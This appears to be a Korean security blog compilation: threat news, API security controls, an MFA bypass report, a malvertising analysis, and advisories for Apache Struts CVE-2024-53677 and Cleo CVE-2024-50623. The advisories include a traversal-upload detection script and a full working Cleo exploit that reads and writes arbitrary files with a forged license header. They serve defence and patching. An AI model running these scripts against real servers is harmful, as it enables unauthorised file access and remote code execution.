요약 - Juniper Networks 제품 세션 스마트 라우터(Session Smart Router, SSR)가 Mirai 봇넷 공격 표적이 됨
- 기본 비밀번호를 사용하는 제품을 감염시켜 DDoS 실행
내용 - 24.12.11 주니퍼는 고객으로부터 SSR 플랫폼에 이상 현상이 발생했다는 보고를 받음
> 기본 비밀번호를 사용하는 시스템들이 Mirai 악성코드에 감염 및 네트워크 내 다른 장치에 DDoS 공격을 실행

- Mirai는 2016년 소스 코드가 유출된 이후 다양한 변종으로 진화
> 기본 자격 증명과 알려진 취약점을 통해 장치를 감염시켜 DDoS 공격에 사용
> 약한 비밀번호 또는 기본 설정을 그대로 사용 중인 장비를 겨냥해 무차별 대입 공격을 실행
> 감염된 장치들은 일반적으로 포트 스캔, SSH를 통한 다수의 로그인 시도, 비정상적인 대량 외부 트래픽 발생, 갑작스런 재부팅 등의 이상 징후를 보임

- 주니퍼는 위협을 완전히 제거하는 유일한 방법으로 장치 재이미징(reimaging) 권고
> 재이미징(reimaging) : 새로 설치하거나 초기화하는 과정

- 아카마이, 새로운 미라이 변종 'Hail Cock' 경고
> DigiEver DS-2105 Pro DVR 장치의 원격 코드 실행 취약점과 약한 비밀번호를 악용
> 텔넷(Telnet)과 SSH 무차별 대입 공격으로 봇넷 규모를 확장
> CVE-2023-1389, CVE-2018-17532 등 취약점 악용
※ CVE-2023-1389 : TP-Link 라우터의 명령어 삽입 취약점
※ CVE-2018-17532 : Teltonika RUT9XX 라우터의 비인증 운영체제 명령어 삽입 취약점

- 미라이 봇넷 등 봇넷의 위협 완화를 위해 기본적인 보안 조치 권고
> 기본 비밀번호를 즉시 강력하고 고유한 비밀번호 변경
> 접근 로그를 주기적으로 감사해 비정상적인 로그인 시도나 의심스러운 트래픽을 확인
> 방화벽을 설정해 무단 트래픽을 차단하고 중요한 장치 접근을 제한
> 장치 펌웨어를 최신 상태로 유지하고, 제조사가 지원을 중단한 장비는 교체
> 이상 징후(포트 스캔, 재부팅, 대량의 외부 트래픽 등)에 대한 모니터링을 강화
기타 - 기본 비밀번호와 패치되지 않은 시스템은 네트워크 보안의 가장 큰 약점
> IoT 및 네트워크 장치도 전통적인 엔드포인트와 동일한 수준의 보안 관리가 필요

 

보안뉴스

 

[주의] 미라이 봇넷, 기본 비밀번호 악용해 SSR 장비 공격…증가하는 DDoS 위협 - 데일리시큐

주니퍼 네트웍스(Juniper Networks)가 자사 세션 스마트 라우터(Session Smart Router, SSR) 제품이 미라이(Mirai) 봇넷 공격의 주요 표적이 되고 있다고 경고했다. 이 공격은 기본 비밀번호를 활용해 장비를

www.dailysecu.com

 

1. CVE-2024-53677

[사진 1] CVE-2024-53677 [1]

- Apache Struts의 파일 업로드 로직의 결함으로 인한 임의 파일 업로드 취약점 (CVSS: 9.5)
> 현재 공격에 활발히 악용되는 중으로 신속한 패치 등 조치 권고

영향받는 버전
- 2.0.0 이상~2.3.37 이하 (EoL)
- 2.5.0 이상~2.5.33 이하 (EoL)
- 6.0.0 이상~6.3.0.2 이하

 

FileUploadInterceptor를 사용하는 경우만 취약점에 영향을 받음 [2]
> 공격자는 파일 업로드 매개변수를 조작하여 경로 탐색을 활성화할 수음
> 어떤 상황에서는 원격 코드 실행을 수행하는 데 사용할 수 있는 악성 파일을 업로드할 수 있음

※ 상세 내용 확인되지 않음

 

- 벤더사 제공 업데이트 적용 [3][4]

> 새로운 Action File Upload Mechanism으로 마이그레이션 권고 (이전 버전과의 호환성이 없기 때문에 새로운 코드 리팩토링 필요)

제품명 영향받는 버전 해결 버전
Apache Struts 2.0.0 이상~2.3.37 이하 (EoL)
2.5.0 이상~2.5.33 이하 (EoL)
6.0.0 이상~6.3.0.2 이하
6.4.0 이상

2. PoC

- 파일 업로드 기능을 사용해 ../를 포함한 임의의 파일 업로드 시도 [5]

import requests
import argparse
import logging
from urllib.parse import urljoin
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s [%(levelname)s] %(message)s",
    handlers=[logging.StreamHandler()]
)

def detect_vulnerability(target_url, upload_endpoint):
    """
    Non-destructive detection of CVE-2024-53677.
    """
    logging.info("Starting detection for CVE-2024-53677 (S2-067)...")
    upload_url = urljoin(target_url, upload_endpoint)
    test_filename = "../../vuln_test.txt"
    harmless_content = "S2-067 detection test."

    # Attempt to overwrite file name using OGNL binding
    files = {
        "upload": ("test.txt", harmless_content, "text/plain"),
        "top.uploadFileName": test_filename  # Attempt filename overwrite
    }

    # Custom Content-Type boundary
    boundary = "----WebKitFormBoundary" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": m.content_type
    }

    logging.info(f"Sending test request to upload endpoint: {upload_url}")

    try:
        # Send file upload request
        response = requests.post(upload_url, headers=headers, data=m, timeout=10)

        # Analyze HTTP response
        if response.status_code == 200:
            logging.info("[INFO] File upload request succeeded.")
            if "vuln_test.txt" in response.text:
                logging.warning("[ALERT] File name overwrite detected. Target may be vulnerable!")
            else:
                logging.info("[INFO] Target does not appear vulnerable.")
        elif response.status_code in [403, 401]:
            logging.info("[INFO] Access denied. Ensure proper permissions.")
        else:
            logging.info(f"[INFO] Unexpected HTTP response: {response.status_code}")
    except requests.exceptions.RequestException as e:
        logging.error(f"[ERROR] Request failed: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-53677 (S2-067) Non-destructive Detection Tool")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://example.com)")
    parser.add_argument("--upload_endpoint", required=True, help="Path to file upload endpoint (e.g., /upload.action)")
    args = parser.parse_args()

    logging.info("Starting detection process...")
    detect_vulnerability(args.url, args.upload_endpoint)
    logging.info("Detection process completed.")

if __name__ == "__main__":
    main()

3. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-53677
[2] https://struts.apache.org/core-developers/file-upload-interceptor
[3] https://cwiki.apache.org/confluence/display/WW/S2-067
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71607&menuNo=205020
[5] https://github.com/TAM-K592/CVE-2024-53677-S2-067/tree/ALOK
[6] https://securityonline.info/hackers-exploit-critical-apache-struts-rce-flaw-cve-2024-53677-after-poc-exploit-release/#google_vignette
[7] https://blog.qualys.com/vulnerabilities-threat-research/2024/12/16/critical-apache-struts-file-upload-vulnerability-cve-2024-53677-risks-implications-and-enterprise-countermeasures
[8] https://www.cyber.gc.ca/en/alerts-advisories/cve-2024-53677-vulnerability-impacting-apache-struts-2#fn2
[9] https://www.bleepingcomputer.com/news/security/new-critical-apache-struts-flaw-exploited-to-find-vulnerable-servers/
[10] https://thehackernews.com/2024/12/patch-alert-critical-apache-struts-flaw.html

1. WAAP (Web Application and API Protection)

웹 애플리케이션과 API에 대한 보안을 통합적으로 관리 [1][2]

구분 설명
웹 애플리케이션 방화벽
(WAF, Web Application Firewall)
- 웹 공격 대응, 정보 유출 방지, 부정 접근 방지, 웹 위변조 방지 등 웹 애플리케이션 계층에 대한 공격 탐지 및 차단 수행
API 보안 - 웹 애플리케이션 상의 API 통신을 보호하기 위해, 다양한 API 데이터형식의 구문 확인 및 유효성 검사를 하는 등 탐지 및 차단 수행
- API 트래픽 모니터링: API 트래픽을 모니터링하여 비정상적인 활동 탐지
- API 인증 및 권한 관리: API 사용자의 인증과 권한 관리 지원
- API 취약점 관리: API의 알려진 취약점 관리 및 패치 지원
Bot 완화 - Brute force attack, Fingerprinting, Credential stuffing, Scraping 등 웹 애플리케이션을 공격하는 악성 봇을 식별하고 애플리케이션에 액세스하지 못하도록 차단​
DDoS(분산 서비스 거부) 방어 - 애플리케이션 레이어 DoS 방어 기술을 통해 대부분 디도스 공격 방어

 

2. mTLS (Mutual TLS)

서버에 대한 인증(기존 TLS)에 더해 클라이언트에 대한 인증을 추가한 전송 계층 보안프로토콜 [3][4]
> 인증서에는 TLS/SSL 버전 정보, 발급 및 만료 날짜, Cipher Suits, 세션 ID 등이 포함
> 민감한 정보를 제공하는 API 환경에서 유용하며, 제로트러스트 보안 모델을 충족
> 중간자 공격, 스푸핑, 비밀번호 관련 공격, 악성 API 요청에 대응 가능

장점 - 서버와 클라이언트가 상호 인증을 수행하여 TLS 보다 안전
- 데이터 암호화 및 전송 중 무결성 제공
- 인증서 기반 인증을 사용하므로 비밀번호에 대한 의존도를 줄임
- 민감한 데이터와 서비에 대한 클라이언트 접근 통제 강화
단점 - 클라이언트와 서버 모두 인증서를 관리해야 하므로 관리 부담 발생(운영 복잡성, 확장성 문제, 구현 비용 증가 등)
- TLS 대비 느린 속도
- 인증서 유효 기간 문제 또는 손상 등 장애 발생 시 복구 및 장애 처리 복잡

 

[사진 1] mTLS

3. 식별정보 클로킹

API 요청에 포함된 식별정보가 외부에 노출될 경우, 권한을 침해하는 손상된 개체 수준 권한(BOLA) 취약점 발생 가능
> 손상된 객체 수준 권한(Broken Object Level Authorization, BOLA) : 특정 데이터 객체에 액세스하기 위한 사용자 인증을 적절하게 확인하지 못할 때 발생하는 중요한 보안 취약점

 

- 식별정보 암호화 또는 마스킹 처리를 통해 권한 오용 차단
> 안전한 암호화 알고리즘 및 키 길이 사용 [5]
> 공격자가 권한 범위를 초과한 데이터를 조호화지 못하도록 BOLA 방지
> 요청에 포함된 민감 정보의 노출 방지

 

4. API 토큰 인증 및 무결성 검사

- JSON을 사용하는 경우가 많은 API는 주로 JWT(JSON Web Token)를 사용해 사용자의 인증과 권한 관리 [6][7][8]
> JWT의 각 값은 .(dot)으로 구분

JWT 구조
Header - 서명 시 사용하는 키(kid), 사용할 타입(typ), 서명 암호화 알고리즘(alg)의 정보를 저장
Payload - 토큰에서 사용할 정보의 조각들인 Key/Value 형태의 클레임(Claim) 저장
Signature - Header+Payload를 서버의 개인키 및 헤더에서 정의한 알고리즘으로 해시 생성
- 서버는 Signature를 검증하여 위·변조 여부 확인

 

[사진 2] JWT 구조

- JWT 토큰을 검증해 위조·탈취·만료된 토큰 차단
> 손상된 사용자 인증(Broken Authentication) 및 세션 하이재킹 방지

5. API별 허용 임계치 및 메소드 제한

과도한 API 요청은 서버 자원 고갈로 이어져 서비스 거부 공격을 초래할 수 있음
> API 트랜잭션별 허용 임계치 제한과 목적에 맞는 HTTP 메소드 제한이 필요
> 자원 낭비 최소화 및 서비스 안정성 확보

6. JSON 응답 클로킹

- API는 구현 형태에 따라 의도와 다르게 과도한 정보가 제공될 수 있음
> 과도한 데이터 노출(Excessive Data Exposure), 대량 할당(Mass Assignment) 취약점 발생 가능

 

- 클라이언트 요청의 JSON 응답 필드를 클로킹(비노출) 처리
> 데이터 노출 방지를 위해 JSON 컨텐츠 타입에 대한 제어 기능이 필수적
> JSON 응답에서 불필요한 데이터를 클로킹하여 불필요한 정보 노출 방지

7. JSON 요청 필드 검사

클라이언트 요청 필드를 검사해 정당성 여부 판단
> JSON 요청 필드를 확인해 Injection 방지

참고

[1] https://blog.naver.com/pentamkt/223047110284
[2] https://www.datanet.co.kr/news/articleView.html?idxno=188058
[3] https://www.cloudflare.com/ko-kr/learning/access-management/what-is-mutual-tls/
[4] https://www.cloudflare.com/ko-kr/learning/access-management/what-is-mutual-tls/
[5] https://csrc.nist.gov/pubs/sp/800/131/a/r3/ipd?source=post_page-----a346d0ccaefd--------------------------------
[6] https://puleugo.tistory.com/138
[7] https://blog.bizspring.co.kr/%ED%85%8C%ED%81%AC/jwt-json-web-token-%EA%B5%AC%EC%A1%B0-%EC%82%AC%EC%9A%A9/
[8] https://velog.io/@vamos_eon/JWT%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80-%EA%B7%B8%EB%A6%AC%EA%B3%A0-%EC%96%B4%EB%96%BB%EA%B2%8C-%EC%82%AC%EC%9A%A9%ED%95%98%EB%8A%94%EA%B0%80-%EB%B3%B4%EC%95%883
[9] https://www.boannews.com/media/view.asp?idx=135182&page=1&kind=5

'취약점 > API' 카테고리의 다른 글

API 보안 #1 기본  (1) 2024.09.20

1. 개요

- MS 다중인증 환경에서 인증앱을 활용한 다중인증의 경우, 인증 우회 취약점 발견 [1]
Outlook, OneDrive, Teams, Azure Cloud 등 각종 MS 계정에 무단 접근이 가능
- MS에 가입된 유로 계정은 약 4억 개로 공격 성공 시 매우 큰 파장을 일으킬 수 있음

2. 주요내용

- 사용자가 MS 포털에 접속 시 계정과 6자리 코드를 사용해 로그인 시도
> 사용자가 로그인 페이지에 처음 접속하면 세션 식별자 할당
> 계정 정보 입력 후 추가 인증을 요구하며, 6자리 코드를 제공해 인증 과정 마무리

 

- 한 세션에서 10번 연속 입력을 실패할 경우 계정 잠금
> 연구진은 새 세션을 빠르게 생성한 후 6자리 코드를 대입하는 실험을 진행
실험 결과 여러 시도를 어떠한 경고(≒알림) 없이 동시에 실행할 수 있음을 발견

 

- 인증 앱을 사용한 인증 방법에는 시간 제한이 존재
> 30초 간격으로 새로운 코드가 생성 되도록 하는 것이 일반적
> 그러나, MS 로그인을 테스트한 결과 코드가 약 3분동안 유효한 것으로 확인
> 이는 공격에 성공할 확률이 3% 증가하는 수치*

* 공격자의 입장에서 세션을 24개 생성해 연속적으로 공격을 수행할 경우 70분의 시간을 확보하는 것
* 70분이 지나면 유효한 코드를 입력할 확률이 이미 50%를 넘어감

[사진 1] 70분 후 공격 성공확률 50% 이상

[영상 1] 공격 시연 영상 [2]

- 연구원들은 결과를 MS에 제보
> MS는 취약점을 수정한 버전 배포

권고 사항 구분 설명
다중인증 활성화 - 완벽한 안전을 보장하는 기술이 아니지만, 계정 보호에 필수적인 방법
-  다중인증을 사용하여도 100% 안전하지 않으며, 꾸준히 관리해야 함
크리덴셜 유출 모니터링 비밀번호나 인증 코드 유출 여부를 꾸준히 모니터링
다중인증 실패에 대한 경고 발생 로그인에 실패했을 때 사용자에게 알림이 가도록 설정

3. 참고

[1] https://www.oasis.security/resources/blog/oasis-security-research-team-discovers-microsoft-azure-mfa-bypass
[2] https://www.youtube.com/watch?v=E0Kt6LUZc0w
[3] https://www.boannews.com/media/view.asp?idx=135110

1. Malvertising(멀버타이징)

- Malware(악성코드)Advertising(광고)합성어악성 광고를 의미

- 사용자를 속이기 위해 가짜 사이트로 리다이렉션하는 등 광고를 악용한 해킹 기법

- 상대적으로 보안이 취약한 광고 서버를 해킹하거나 악성 광고를 게시하여 공격에 활용

2. 상세내용 [1]

- 연구원들이 Googleslack 검색한 결과 광고가 가장 먼저 표시되었음

> 해당 광고가 누구에 의해 게시되었으며, 이전에 게시한 광고 내역을 확인할 수 있음

> 연구원들이 이를 확인한 결과 홍콩 소재 의심스러운 광고주에 의해 게시됨을 확인

[사진 1] 정상 광고 (위) 및 악성 광고 (아래) 비교

- 확인된 광고를 클릭하면 정상적인 Slack 공식 웹사이트의 가격 페이지로 리디렉션

> 공격자들은 도메인을 구매한 후 악용하기 위해 정상적인 도메인처럼 보이도록 하기위해 과정을 거침

[사진 2] 리다이렉션

- 며칠 후 연구원들이 해당 광고 페이지에 재접속한 결과 서로 다른 두 개의 페이지가 표시

> URL은 slack-windows-download[.]com로 동일하나 표시되는 페이지가 다름을 확인

> 악성 기능이 없는 정상 페이지 또는 다운로드 기능이 포함된 악성 페이지 표시

[사진 3] 정상 페이지 (좌) 및 악성 페이지 (우)

- 해당 페이지에 도달하는 네트워크 트래픽을 캡처

> 여러 사이트로 리다이렉션 시켜 인터넷 환경, 클릭율 등을 확인해 서로 다른 페이지로 접속시키는 것을 확인

① 클릭의 정당성을 판단하는 ClickGuard 링크를 광고로 등록 : 악성 사이트에 대한 탐지를 못하도록(또는 어렵게) 하기위한 목적

② 사용자가 클릭한 페이지 또는 위치 등을 분석하는 ClickTracker 연결 : 악성 사이트에 대한 탐지를 못하도록(또는 어렵게) 하기위한 목적

③ 사용자 클릭 환경 등을 확인해 정상 사이트 또는 악성 사이트로 연결

> 즉, 사용자가 광고를 클릭할 경우 여러 리다이렉션 및 확인을 거쳐 정상 또는 악성 사이트로 리다이렉션

[사진 4] 네트워크 트래픽 캡처
[사진 5] 과정 요약

- 광고 클릭 지양, 다운로드 시 도메인 및 파일 해시 확인, 백신 최신화, 로그인 폼 의심 등 기본 보안 수칙 준수 필요

3. 참고

[1] https://www.malwarebytes.com/blog/news/2024/08/fraudulent-slack-ad-shows-malvertisers-patience-and-skills

요약 - 블랙 바스타 랜섬웨어 그룹, 새로운 공격 기법 도입
- 봇넷 외 이메일 폭탄, QR 코드, 소셜 엔지니어링 활용
내용 - 블랙 바스타 랜섬웨어 그룹, 이메일 폭탄을 공격 수단으로 활용
> 대량의 메일링 리스트에 피해자의 이메일 주소를 등록해 피해자 이메일 함을 혼란스럽게 만드는 방식
> 공격자는 IT 직원이나 기술 지원 요원으로 위장해 접근해 원격 접속 도구 설치 유도

- QR 코드도 공격 수단으로 활용
> 채팅 플랫폼을 통해 피해자에게 QR 코드를 전송
> 신뢰할 수 있는 모바일 기기를 추가하라는 명목으로 자격 증명 탈취 시도
> 초기 접근 이후 커스텀 툴*을 사용해 자격 증명 수집 및 네트워크 탐색
* Zbot/ZLoader : 자격 증명 탈취 악성코드
* DarkGate : 후속 공격을 가능하게 하는 백도어

- 커스텀 악성코드*를 활용해 피해자의 자격 증명을 이용해 VPN 접속 정보 확보, MFA 우회해 내부 침투
* KNOTWRAP : C/C++로 작성된 메모리 기반 드로퍼로 추가 페이로드를 메모리에만 실행
* KNOTROCK : 랜섬웨어 배포에 사용되는 .NET 기반 유틸리티
* DAWNCRY : 하드코딩된 키로 리소스를 복호화해 메모리에서 실행하는 드로퍼
* PORTYARD : 명령제어(C2) 서버와 커스텀 프로토콜을 통해 연결하는 터널링 도구
* COGSCAN : 네트워크 내 호스트를 탐색하는 정찰 도구

- 외부 봇넷에 의존하지 않고 타깃화된 공격에 집중하고 있음
기타  

 

보안뉴스

 

블랙 바스타 랜섬웨어, 이메일 폭탄과 QR 코드로 진화 - 데일리시큐

블랙 바스타(Black Basta) 랜섬웨어 그룹이 새로운 공격 기법을 도입하며 더욱 정교해지고 있다. 최근 이들은 기존의 봇넷 의존 방식을 넘어 이메일 폭탄, QR 코드, 그리고 소셜 엔지니어링을 결합한

www.dailysecu.com

1. Cleo

- 데이터 통합 및 관리형 파일 전송 솔루션(MFT)을 제공하는 글로벌 소프트웨어 기업 [1]

2. 취약점

2.1 CVE-2024-50623

[사진 1] CVE-2024-50623 [2]

- Cleo MFT SW에서 발생하는 파일 읽기/쓰기 취약점

> 24.10 적용된 패치에 대한 우회를 허용하는 Zero-Day 취약점으로 공격에 악용되는 중

영향받는 버전
- Cleo Harmony < 5.8.0.21
- Cleo VLTrader < 5.8.0.21
- Cleo LexiCom < 5.8.0.21

 

2.2 상세내용

- 취약점은 /Synchronization 엔드포인트에서 발생

> 클러스터 노드 간 파일 동기화를 처리하는 엔드포인트

 

- syncIn 메소드는 /Synchronization으로 들어온 HTTP 요청을 핸들링

> 다음 형식을 갖는 "SYNC_HEADER(”VLSync”)" 헤더를 찾을 경우 이를 파싱해  Retrieve, l, v, n 등의 파라미터를 가져옴

> 각각의 매개변수는 명령(Retrieve), l(라이선스 시리얼번호), v(버전), n(소프트웨어 이름)

 public int syncIn(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
        int statusCode = 500;
        InputStream in = null;
        int len = 0;

        try {
            in = httpRequest.getInputStream();
            len = httpRequest.getContentLength();
            boolean found = false;
            Enumeration headers = httpRequest.getHeaderNames();

            while(headers.hasMoreElements()) {
                String header = (String)headers.nextElement();
                if (header.equalsIgnoreCase(SYNC_HEADER)) {
                    found = true;
                    String value = httpRequest.getHeader(header);
                    String serialNumber = getDecodedParameterValue(value, "l", true);
                    if (hasToken(value, START)) {
                        // ... omitted ...
                        break;
                    }

                    if (!hasToken(value, ADD) && !hasToken(value, UPDATE) && !hasToken(value, REMOVE)) {
VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0

 

- 매개변수 중 l은 islValid 메소드를 통해 유효성 검증

> 유효성 검증은 6번째 문자가 '-'인 13자리인지 확인한 후 문자열을 비교하는 단순한 형태로 이루어짐

> License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))를 만족하는 형태의 시리얼 넘버를 직접 생성해 사용할 수 있음

protected static boolean islValid(String serialNumber) {
     if (serialNumber == null) {
         return false;
      } else if (serialNumber.length() == 13 && serialNumber.charAt(6) == '-') {
          if (!License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))) {
              return false;
          }
      }
      // ... further code omitted ..
    }
    
public static String scramble(String serial) {
        int shift = 0;

        for(int i = 0; i < serial.length(); ++i) {
            shift ^= serial.charAt(i);
        }

        StringBuffer sb = new StringBuffer(serial);
        sb.setCharAt(0, shiftLetter(Character.toUpperCase(sb.charAt(0)), shift + 4));
        sb.setCharAt(1, shiftLetter(Character.toUpperCase(sb.charAt(1)), shift + 2));
        sb.setCharAt(2, shiftNumber(sb.charAt(2), shift));
        sb.setCharAt(3, shiftNumber(sb.charAt(3), shift + 1));
        sb.setCharAt(4, shiftNumber(sb.charAt(4), shift + 3));
        sb.setCharAt(5, shiftNumber(sb.charAt(5), shift + 5));
        return sb.toString();
    }

 

2.3 파일 읽기

- 명령이 Retrieve인 경우 retrieve 메소드에서 해당 명령을 처리

> VLSync 헤더에서 path 파라미터를 가져와 fetchLocalFile에 path가 지정한 경로에 있는 파일을 읽어 응답으로 반환

> 이때, path 값에 대한 검증을 수행하지 않아 "../" 등의 디렉터리 이동 문자열을 이용할 수 있음

  private int retrieve(String header, HttpServletResponse httpResponse) {
        String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true);
        // ... omitted ...
        String path = fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (statusCode == 200) {
            try {
                byte[] bytes = fetchLocalFile(path, LexBean.decrypt(tempPassphrase));
                fireRetrieveEvent(path);
                statusCode = 200;
                httpResponse.setStatus(200);
                httpResponse.setContentLength(bytes.length);
                httpResponse.setHeader("Connection", "close");
                ServletOutputStream outputStream = httpResponse.getOutputStream();
                outputStream.write(bytes);
                outputStream.close();
            } catch (FileNotFoundException e) {
                statusCode = 404;
            } catch (Exception ex) {
                // ... omitted ...
            }
        }
        return statusCode;
    }

 

[사진 2] 공격 예시

2.4 파일 쓰기

- ADD 명령을 사용해 임의의 파일을 쓸 수 있음

> fileIn 메소드에서 ADD 명령을 처리

> path 파라미터를 파싱하며, 이는 쓸 파일의 경로를 지정하며, 이후 파일의 존재 여부와 쓰기가 가능한지 확인

private int fileIn(String header, InputStream in, int length) throws Exception {
        int statusCode = 200;
        String serialNumber = getDecodedParameterValue(header, "l", true);
        // ... omitted ...
        String path = this.fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (file.exists() && !file.canWrite()) {
            statusCode = 403;
        } else {

 

- 위 검사를 통과하면 아래 코드가 실행되어 지정된 경로의 파일에 쓰이게 됨

> 파일 읽기와 마찬가지로 "../" 등의 디렉터리 이동 문자열을 사용해 임의 파일 쓰기가 가능

> 임의 파일 쓰기를 사용해 autorun 디렉터리(자동 실행 관련 디렉터리)에 파일을 업로드하여 RCE를 수행

OutputStream out = LexIO.getFileOutputStream(otherFile, false, true, false);
if (length > 0) {
  LexiCom.copy((InputStream)in, out);
}
((InputStream)in).close();
out.close();

3. PoC

- /Synchronization URL 및 VLSync 헤더를 설정하여 익스플로잇 [3]

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        CVE-2024-50623.py
        (*) Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)

          - Sonny and Sina Kheirkhah (@SinSinology) of watchTowr (sina@watchTowr.com)

        CVEs: [CVE-2024-50623]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)

parser = argparse.ArgumentParser(usage="""python CVE-2024-50623 --target http://192.168.1.1/ --action read_or_write --where ..\\..\\pwned.txt --what shell.dll_jsp_xml_txt_zip""", description="Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)")

parser.add_argument("--target", help="Target URL", required=True)
parser.add_argument("--action", help="Action to perform", choices=['write', 'read'], required=True)
parser.add_argument("--where", help="File to write or read", required=True)
parser.add_argument("--what", help="local file to upload", required=False)

args = parser.parse_args()
args.target = args.target.rstrip('/')

s = requests.Session()
s.verify = False

def extract_version(target):
    r = s.get(f"{target}/Synchronization")
    version = r.headers['Server'].split('/')[1].split(' ')[0]
    return version

def read_file(target, where, target_version):
    headers = {
        'VLSync': f"Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }
    

    r = s.get(f"{target}/Synchronization", headers=headers)
    if(r.status_code == 200):
        print(r.text)
    else:
        print("[ERROR] Failed to read the file")


def write_file(target, where, what, target_version):

    headers = {
        'VLSync': f"ADD;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }

    r = s.post(f"{target}/Synchronization", headers=headers, data=what)
    if(r.status_code == 200):
        print("[INFO] File written successfully")
    else:
        print("[ERROR] Failed to write the file")




if(args.action == 'read'):
    read_file(args.target, args.where, extract_version(args.target))
elif(args.action == 'write'):
    if(args.what == None):
        print("[ERROR] --what is required for write action")
        exit(1)
    write_file(args.target, args.where, open(args.what,"rb").read(), extract_version(args.target))
else:
    print("[ERROR] Invalid action")
    exit(1)

4. 대응방안

- 벤더사 제공 업데이트 적용 [4]

> validatePath()를 추가해 path 파라미터에 대한 검증 추가

protected int validatePath(String path) {
        try {
            if (!Strings.isNullOrEmpty(path)) {
                URI uri = new URI(path);
                if (!Strings.isNullOrEmpty(uri.getScheme())) {
                    return ServiceException.REMOTE_IO_EXCEPTION;
                }
            }
        } catch (URISyntaxException e) {
        }
        String path2 = FilenameUtils.normalize(path);
        if (Strings.isNullOrEmpty(path2)) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath = LexIO.getRelative(path2);
        if (relativePath.startsWith("/") || relativePath.startsWith("\\") || new File(path2).isAbsolute()) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath2 = relativePath.toLowerCase().replace("\\", "/");
        for (String rootpath : UNPROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath)) {
                return 200;
            }
        }
        for (String rootpath2 : PROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath2)) {
                return ServiceException.REMOTE_IO_EXCEPTION;
            }
        }
        return 200;
    }

 

- autorun 설정 비활성화 [5]

[사진 3] autorun 비활성화

- /Synchronization URL 및 VLSync 헤더에 대한 보안 장비 탐지 규칙 적용

- 접근 제한, 관련 디렉터리 및 로그 점검, 악성 파일 삭제 등 조치 권고

5. 참고

[1] https://support.cleo.com/hc/en-us

[2] https://nvd.nist.gov/vuln/detail/CVE-2024-50623

[3] https://github.com/watchtowrlabs/CVE-2024-50623?ref=labs.watchtowr.com

[4] https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory-CVE-2024-50623?ref=labs.watchtowr.com

[5] https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild

[6] https://labs.watchtowr.com/cleo-cve-2024-50623/

[7] https://www.dailysecu.com/news/articleView.html?idxno=162064

요약 - 국내 IP 카메라 중 80%가 중국산으로 관련 해킹사고 급증
- 철저한 대응체계를 갖춰 개인 피해 줄일 필요
내용 - 최근 국내 중국산 IP 카메라 보안 문제가 사회적 이슈화
> 국내 IP 카메라 중 80%가 중국산
> 가정, 기업, 정부기관에서 사용중인 중국산 Wi-Fi 공유기, IP캠, IT 기기를 노리는 해킹 증가

- 네트워크를 사용하는 대부분의 중국산 제품에서 백도어가 발견
> 정부 제재가 없어 언제든 쉽게 해킹될 수 있는 위험에 무방비로 노출

- 중국산 IT 기기 해킹사고 대응 방안
① 개인과 소규모 사용자
> 제품 선택 단계에서부터 신뢰할 수 있는 브랜드를 우선 고려
> 값싼 제품보다는 국제 보안 인증기기 선택
> 펌웨어, 소프트웨어 항상 최신 상태로 유지
> 초기 비밀번호 반드시 변경하고, 강력한 비밀번호를 사용
> 기본적인 보안 설정도 철저히 준수
> 기기 사용 시 개인 정보 입력을 최소화
> 음성 녹음이나 위치 추적 등 불필요한 기능은 비활성화

② 기업 및 조직
> 인증받은 IT기기만을 사용하고, 공급망을 철저히 검토
> 민감한 데이터를 다루는 시스템의 경우 인터넷과 물리적으로 분리된 네트워크를 사용
> 정기적인 보안 점검을 통해 기기의 백도어 여부를 확인
> 해킹 시뮬레이션 테스트로 잠재적인 취약점을 미리 탐지
> 네트워크 접근 통제를 강화하고, 불필요한 기능은 비활성
> 네트워크 보안 솔루션을 도입해 외부 공격에 대비

③ 정부와 공공기관
> 수입 규제와 인증 시스템을 강화해, 보안 검증을 통과하지 못한 제품의 수입 및 사용을 제한
> 공공기관과 국가중요기반시설에는 검증된 장비만 사용하도록 법적 규제를 마련
> 국산 보안 기술과 IT 제품 개발을 적극 지원
> 국가 수준의 보안 인증 체계를 마련해 모든 네트워크 연결 기기에 대해 보안성을 확보
> 국민이 IT기기의 보안을 스스로 관리할 수 있도록 교육 및 캠페인을 통해 경각심을 높이기
